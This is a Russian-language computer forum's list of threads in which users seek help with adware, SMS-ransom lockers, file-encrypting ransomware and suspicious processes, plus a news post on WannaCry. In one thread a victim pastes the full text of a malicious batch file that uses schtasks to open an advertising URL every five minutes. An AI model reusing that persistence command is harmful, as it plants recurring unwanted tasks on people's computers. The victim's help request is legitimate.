Компьютерный портал

PUA: AndroidOS/Maltiverza, что такое?

Prepodobie — Sat, 16 Sep 2023 05:51:43 GMT

Добрый вечер или день, уважаемые господа. Появилась проблема.
ОС Windows 10 осуществляю проверку компьютера не наличие вирусов штатной программой безопасности. Все обновления установлены.
Программа выдаёт сообщение о наличии угрозы PUA: AndroidOS/Maltiverza , причём указывает на размещение в двух местах на разных дисках. . Удаляю , запускаю программу "Защита от вирусов и угроз" , Угрозы остаются причём ода со старой датой возникновения, другая с новой датой возникновения (с датой удаления). Места хранения файлов вируса не существуют, возможно были но удалены. Проверял всеми доступными средствами Микрософт- угрозы остаются. В инете ссылок на PUA: AndroidOS/Maltiverza очень мало, в основном PUA: AndroidOS/Multiverza. Непонятно что это опечатка программы безопасности Микрософт или это разные. Может кто знает решение?
С уважением Александр.

Проблема с ноутбуком Lenovo E540

The_Sheikh — Sat, 26 Feb 2022 23:22:13 GMT

Доброго времени суток всем, друзья!
Столкнулся с такой вот проблемой:

Проснулся в один день, открыл ноутбук и он начал сходить с ума. Начали открываться множество окон браузеров и Chrome и Edge, так же часто открывалось окно "Мой компьютер" и я никак не мог это остановить.
Спустя минут 5 вроде как ноут поутих и все начало работать нормально, но не надолго, буквально на минуту и снова началось.
Дальше я выяснил что можно зажимать кнопку CTRL либо кнопку отключения звука(F1) и тогда все работает в нормальном режиме, но только с зажатой кнопкой.
Как только я отпускал кнопку эта история снова начиналась повторяться. В итоге кое как я переустановил Windows на 11 и подумал что все обошлось, но нет.
Оно все так же продолжает вылетать, как будто кнопки залипшие или что-то еще(я проверил кнопки, все в порядке). Но кстати уже это происходит реже,
бывает затишье даже час, но потом снова когда я либо начинаю что-то писать либо оно само начинает вылетать.
Я когда впервые после этого пытался зайти в биос, в биосе тоже не мог ничего сделать, кнопки F1, F2 и т.д. не работали.
И в первый раз как это случилось еще мышка тоже сходила с ума - нажимал на любой ярлык и он удалялся, когда в браузере в поисковой строке пытался выделить текст, мышка просто стирала его.

Сейчас вот с "десятки" обновился на 11-ю винду, но это все продолжается с переодичностью.
Я уже не знаю что делать и как быть, драйвера проверял, удалял, обновлял, на вирусы тоже проверял, показывало что все чисто(понятное дело что не лицензионным у меня нет денег на него:) )

Еще раз повторюсь, в основном это перестает все выскакивать когда я зажимаю кнопки CTRL либо кнопку отключения звука(F1), но при зажатом CTRL работать не возможно, а вот кнопка звука норм.
Возможно это и с другими определенными кнопками это работает, но я не проверял.

Прошу помочь мне в этом вопросе. Видео и скрин системы прилагаю. https://www55.zippyshare.com/v/vWZPgQvw/file.html

Зловред в файле-образе диска

АняЛеви — Fri, 26 Oct 2018 18:06:46 GMT

Нашел этот файл антивирусник, но сканировать он его не может(то есть скан запускается - но прогресс нулевой), угрозу видит но даже функции в карантин добавить нету
удалить файл тоже не получается процесс идет а файл на месте
что мне с ним делать и как удалить ?

Нежелательная реклама

Tredriper — Thu, 15 Feb 2018 12:52:01 GMT

Всё было ок ни чего такого (не делал) просто качал игры с торрента смотрел кино и на всякие сайты левые не заходил только вот собака мне спам вылезать начал разного вида это и видео на ютубе с рекламой вулкана и других лотерей и ставки на сервисе Пари-Матч доставало меня и не знал что делать даже антивирус скачал проверил каждую папку програму и диск вирусов он не нашёл патом решился с службами покопаться нашёл службу гугл отключил всё то что вылезало вылезает после решил оставить времени не было да вот только бомбануло вылезла страничка с якобы предупреждением о том что мой браузер заблокирован и нужно установить расширение и тогда всё заработает иииии я открываю новую вкладку и всё работает да только если так то мешают смотреть эта собака и фильмы и играть в игры.

PDF файл открывается как ZIP

slonikdva — Sun, 29 Oct 2017 19:14:41 GMT

У меня возникла такая проблема-получил в почте mail.ru счет за отопление в формате PDF.Когда начал скачивать он почему то стал файлом ZIP.При попытке разархивировать-срабатывает защитник Windows.У меня стоит десятка. Это что вирус или я что-то неправильно делаю?Всегда открывался нормально. Еще заметил что это стало после очередного обновления десятки. Что можно предпринять ?

svchost.exe.exe

alexgar0 — Sat, 23 Sep 2017 16:02:58 GMT

Недавно подхватил вирус svchost.exe.exe который грузит процессор на 50-90%. Снятие задачи не помогает, через некоторое время он появляется обратно. Файл этот лежит в c:\Windows\Microsoft. Попробовав перейти в папку с файлом через диспетчер задач, пишет "Отказано в доступе". Если перейти в папку Windows, то внутри не окажется никакой папки Microsoft(отображение скрытых файлов и папок есть). Попробовал через Far Manager удалить файл, к счастью, файл то я удалил, но через минут 5 все появляется обратно.

Все скрины тута: http://imgur.com/a/54C5B

Винда 10, антивирус ничего не находит, через анлокер пробовал, тоже ничего.

Браузер каждые 5 минут открывает рекламу

belovv82 — Mon, 14 Aug 2017 20:37:53 GMT

извените что не в тему,кто сможет помочь,скачал торрент в спешке не глянул на расширение файла .bat ,теперь браузер каждый 5 мин открывает рекламу,как поправить,помогите.вот что в нем

Код

@echo OFF
schtasks /create /sc minute /mo 5 /tn "MainSd" /tr "cmd.exe '/c start http://itsconnecttofile.ru/sd /min /b'" /f
START http://sdtorrent.com/engine/get.php?id=38274
exit

как вообще его правильно удалить?

dnp1

v3vi — Thu, 13 Jul 2017 05:25:44 GMT

Форум: Помощь в лечении от вредоносных программ
Описание темы: dnp1* - неизестный ярлык
Автор темы: v3vi
Автор последнего сообщения: v3vi
Количество ответов: 0

Антивирус удалил в папке System32 файл system.exe

Nikita1337 — Fri, 07 Jul 2017 17:39:29 GMT

Форум: Помощь в лечении от вредоносных программ
Автор темы: Nikita1337
Автор последнего сообщения: Nikita1337
Количество ответов: 0

Деактивация вымогателей-блокеров

harikovich — Mon, 12 Jun 2017 03:10:42 GMT

"Докажи, что ты НЕ лох. Отправь СМС на такой-то номер. Чем БОЛЬШЕ СМСок ты отправиш, тем круче ты нелох"

Заражение компьютера СМС вирусом происходит через Интернет и практически всегда по желанию самой жертвы. Обычно это происходит под видом установки на ваш компьютер дополнительного софта или плагинов для Интернет-браузера. Чаще все на сайте злоумышленников пользователь видит окно с видеороликом, который не проигрывается. При этом для просмотра вам предлагают скачать и установить кодеки. Так как проблема с временами не проигрывающимся видео периодически возникает у всех Интернет-серферов, то на предложение злоумышленников ведутся очень многие.

Попав на компьютер жертвы, СМС вирус интегрируется в систему, полностью блокирует работу компьютера и выводит сообщение вроде:
"OS Windows заблокирована. Для разблокировки необходимо отправить СМС с текстом ХХХ на номер YYY"
"Чтобы восстановить работоспособность компьютера отправьте СМС с текстом ХХХ на номер YYY"
"Отправьте СМС с текстом ХХХ на номер YYY, иначе Windows будет удалена"

Наглость или творчество - как вирус просит отправить SMS?

СМС-вирусу мало заблокировать компьютер пользователя, ему надо еще заставить вас раскошелиться. И тут в ход идут различные подходы.

Видимо первый способ вымогательства стал приносить вирусописателям не так много денег как они хотели, в результате сегодня активно продвигается творческий подход.

Второй способ вымогательства - давит на чувство вины и заставляет пользователя думать не о том, что он стал жертвой вируса, а что он сам поплатился за свое воровство. Такой вирус просит отправить СМС пугая сообщениями вроде "Ваш компьютер заблокирован, так как на нем используется нелицензионное программное обеспечение...". Или "На вашем компьютере установлена нелицензионная версия Windows. Ваш компьютер заблокирован. Для разблокировки... (далее вирус просит отправить СМС)", при этом для усиления эффекта делается закос, что блокировка ПК производится по инициативе самой Microsoft. Например, вам сообщается, что "Компания Microsoft ввела новую систему защиты от пиратского распространения своей операционный системы и теперь ПК с пиратской ОС блокируются".
Согласитесь, ни один продвинутый пользователь, представляющий сколько стоит операционная система (а это более 100$), не поверит, что пиратские копии Windows теперь официально разблокируются через СМС сообщение стоимость 150 руб. Но поставьте себя на место начинающего пользователя ПК. Что выбрать - начинать бегать по знакомым и друзьям-компьютерщикам, вызывать компьютерную "неотложку" (это минимум 700-800 руб) или просто отправить куда-то кому-то немного денег и сразу решить проблему? Естественно, что многие выбирают второй, более легкий путь. И тем самым только играют на руку мошенникам и спонсируют еще большее распространение СМС вирусов.

Сервисы деактивации вымогателей-блокеров:

RansomHide - Программа включающая практически все коды из вышеуказанных сайтов (если вдруг вирус обрубил интернет).

Действия после разблокирования компьютера:
После разблокирования компьютера, вредоносные программы продолжают оставаться в системе.
Для полного удаления необходимо пройти лечение. Способы его описаны в статье

Вирус-вымогатель распространился.

DIM4ELA — Mon, 15 May 2017 17:20:01 GMT

Создатели вируса-вымогателя выпустили обновленную версию. Теперь ему не мешает бессмысленный домен

Случаи заражения компьютеров вирусом-вымогателем WannaCrypt зафиксированы в 150 странах мира, заявил глава Европола — полицейской службы Евросоюза — Роб Уэйнрайт.

Жертвами вируса, по данным Европола, стали как минимум 200 тысяч организаций, частных лиц и компаний, включая крупнейшие корпорации.

«Мы никогда не видели ничего подобного», — сказал Уэйнрайт в интервью британскому телеканалу ITV, сообщает The Daily Star.

Глава полиции Евросоюза подчеркнул, что пока уровень угрозы от вируса не снижается. С началом рабочей недели в понедельник, 15 мая, предупредил он, число зараженных компьютеров может возрасти.
Вирус-вымогатель WannaCrypt начал распространяться 12 мая. Он блокирует компьютер и требует деньги за разблокировку. В России, где вирус получил широкое распространение, от WannaCrypt, в числе прочих, пострадали «Мегафон», МВД и Следственный комитет. В Великобритании из строя вышли компьютеры системы здравоохранения.
Вирус поражает компьютеры с операционной системой Windows, на которые не было своевременно установлено обновление, закрывающее эту уязвимость. Из-за распространения WannaCrypt корпорация Microsoft выпустила обновление для Windows XP, от поддержки которой отказалась в 2014 году.
Источник

AdwCleaner ругается на папку Windows Security

DebuggeR94 — Mon, 17 Apr 2017 07:02:19 GMT

Так как я не качаю подозрительный софт из подозрительных источников, а если приходится что-то проверить пользуюсь SandBoxIE, еще ни разу не заносил на компьютер никакую заразу ни рекламную ни вирусную... Антивирусом я вообще не пользуюсь даже Defender вырубил, раз в месяц качаю KVRT и Dr.Web CureIT ни один из них еще ни разу ничего не находил. Решил интереса ради просканировать компьютер утилитой AdwCleaner и она заругалась на папку Windows Security, я никогда на нее не обращал внимания, только теперь, ведь у защитника имя папки Windows Defender а это что и почему на него ругается AdwCleaner. Содержимое папки очень подозрительное (en-US\BrowserCore.exe.mui, BrowserCore.exe, manifest.json).
Что делать разрешить утилите снести эту папку или все таки что-то нужное? Ну не верю я, что я что-то занес в компьютер, не с моей паранойей да и папка там вроде с момента установки.

Как удалить рекламу

tur91 — Sun, 08 Jan 2017 17:24:50 GMT

Извиняюсь если обращаюсь не по адресу
Скачал и установил офис для вин 10 с этого сайта
удалено

и вместо активированного офиса получил рекламу

Не подскажите как удалить эту рекламу?

"Самопроизвольное забивание" места на диске С

Valdemar44 — Sun, 23 Oct 2016 09:38:01 GMT

Здравствуйте, уважаемые участники! Прошу проконсультировать по вопросу. Прошу прощения заранее, если что - то написал неграмотно, зелёный в этом деле.
Последнее время (около 2 - 3 месяцев) наблюдаю следующую проблему. У меня жесткий диск разделён на два - С и D. На С хранятся файлы и программы, ответственные за работу компьютера, на D - всё остальное (игры, САПР и прочее).
На диске С за эти 2 - 3 месяца после установки SolidWorks оставалось около 300 Мб. Далее, каким - то непонятным образом свободное место начало сокращаться. Программ, файлов и прочего я на диск С не ставлю давно. Но, он забивался. Однажды (около 2 - 3 недель назад) антивирус (Kaspersky Internet Security) поймал рекламную программу. Естественно, я приказал лечить и - ура! - место освободилось до 200 Мб с небольшим. Но продолжалось сие недолго. около недели назад процесс засорения начался снова. Сканирование антивирусом ничего не давало, "очистка диска" во всех случаях как о стену горох. Антивирус не обновить - не хватает места (в лучшем случаи бывает 3 - 4 Мб, иногда 29 - 30 Мб свободно).
Прошу подскажите - может кто - нибудь знает как эту напасть побороть?
Заранее спасибо.

проблема после очистки от вируса

speaker3386 — Wed, 30 Mar 2016 15:27:56 GMT

Здравствуйте, словил троян Kryptik (процесс в Диспетчере - ccyruro.com), при нем ОС при загрузке открывалось окно с требованием подключения в интернет. При включении видеоплееров (Gom Player, Pot Player) выходило то же окно. Троян удалил прогой Comodo Antivirus. При загрузке окно открываться перестало, но при открытии плееров появляется все равно, причем по два раза, очень раздражает, переустановка плееров не помогла, так же не помогла переустановка кодеков, боюсь, сбой в самой системе (Windows 7). При подключении к интернету окно не выходит, но боюсь утечки трафика.

win10 + baido

runs — Wed, 23 Mar 2016 07:24:58 GMT

Добрый день, уважаемые форумчане.
BAIDU
Столкнулся с проблемой самопроизвольной установки постороннего вредоносного ПО на win10.
Схема такая:
Раз в неделю вылазит окно: мол установите программу (с логотипом винды, акуратно оформленное, в общем - имитация приложения виндовс).

Первый раз не стал вчитываться (на английском было написано) и просто жмякнул асепт, тем более что других вариантов не было. Установилась куча программ на китайском языке. Гугл сказал, что это антивирус-вирус baido (постоянные всплывающие окна, реклама, сворачивает игры, кушает не мало оперативки).
Погуглив смог удалить все компоненты программы.

Второй раз внимательно рассмотрев окно, нашел ели видную ссылку отмены установки. Нажал, при этом окно пропало, но после перезагрузки ноута я увидел все те же установленные программы на кит.языке. Поматерившись, удалил.

Сейчас же вылезло это окно. И я просто "убил" процесс через диспетчер задач. После очередной загрузки ноута эти программы все равно установились на систему.

Может кто сталкивался с такой проблемой, подскажите решение. Либо может можно где-то как-то запретить установку или может у меня фаервол криво настроен.
Буду рад любой помощи:)

Все файлы txt dbf zip были зашифрованы с добавлением расширения .barbi

soccers — Sun, 11 Oct 2015 14:44:13 GMT

Все файлы txt dbf zip были зашифрованы с добавлением расширения .barbitariat

во вложении я прикрепил как и зашифрованные файлы так и сохраненные не зашифрованные копии .
У нас базы 1С и соответственно не можем работать, базы зашифрованы. Авто архивация была в 3-00 и уже архивировала зашифрованные базы.

Троян! (или спам)

N20PRO — Sat, 12 Sep 2015 06:12:11 GMT

У меня появилось всплывающее окно (не в браузере а на рабочем столе) с просьбой оплатить часовой просмотр "гopячей клубнички" (хотя бред ни чего я не смотрел!) отправив смс на номер с текстом
Сканировал антивирусом, не помогло. Что делать?

Не могу проверить систему утилитой AVZ

Zyklon — Mon, 01 Dec 2014 22:03:40 GMT

Система- Win7х64 максимальная.
Антивирус- ESS. Проверил со свежими базами, ничего не найдено.
Утилита AVZ с обновлёнными базами, настройки на максимум. Начинается проверка диска С и через несколько минут выдаётся предупреждение типа:"Работа программы прекращена. Программа антивирусная утилита AVZ не работает". Начал проверку с настройками по-умолчанию- та-же ошибка. Заметил, что эта ошибка выводится при проверке на диске С с программой EDeclaration. Удалил программу. Следующая проверка после перезагрузки- опять ошибка, но уже в самом начале проверки, при проверке папки "$Recycle.Bin", которую, как я понял, создаёт сама утилита AVZ.
Устанавливал для дополнительной проверки Dr.Web CureIt!, но он жутко вешал систему, пришлось откатиться.
Прошу помощи и советов в моей проблеме.

SMS блокер,биос не работает

skserj9 — Sun, 08 Dec 2013 16:32:05 GMT

Проблема такая,другу запилился блокер,он чего то наклацал,сообщение об отправке денег исчезло,но теперь ноут(Lenovo G560)вообще не фурычит.В биос не войти,загрузку с съемного носителя не выставить,труп короче.Чего делать то?Крышку снял,клаву снял,батарейку мат.платы не нашел,где сбросить cmos,тоже не нашел...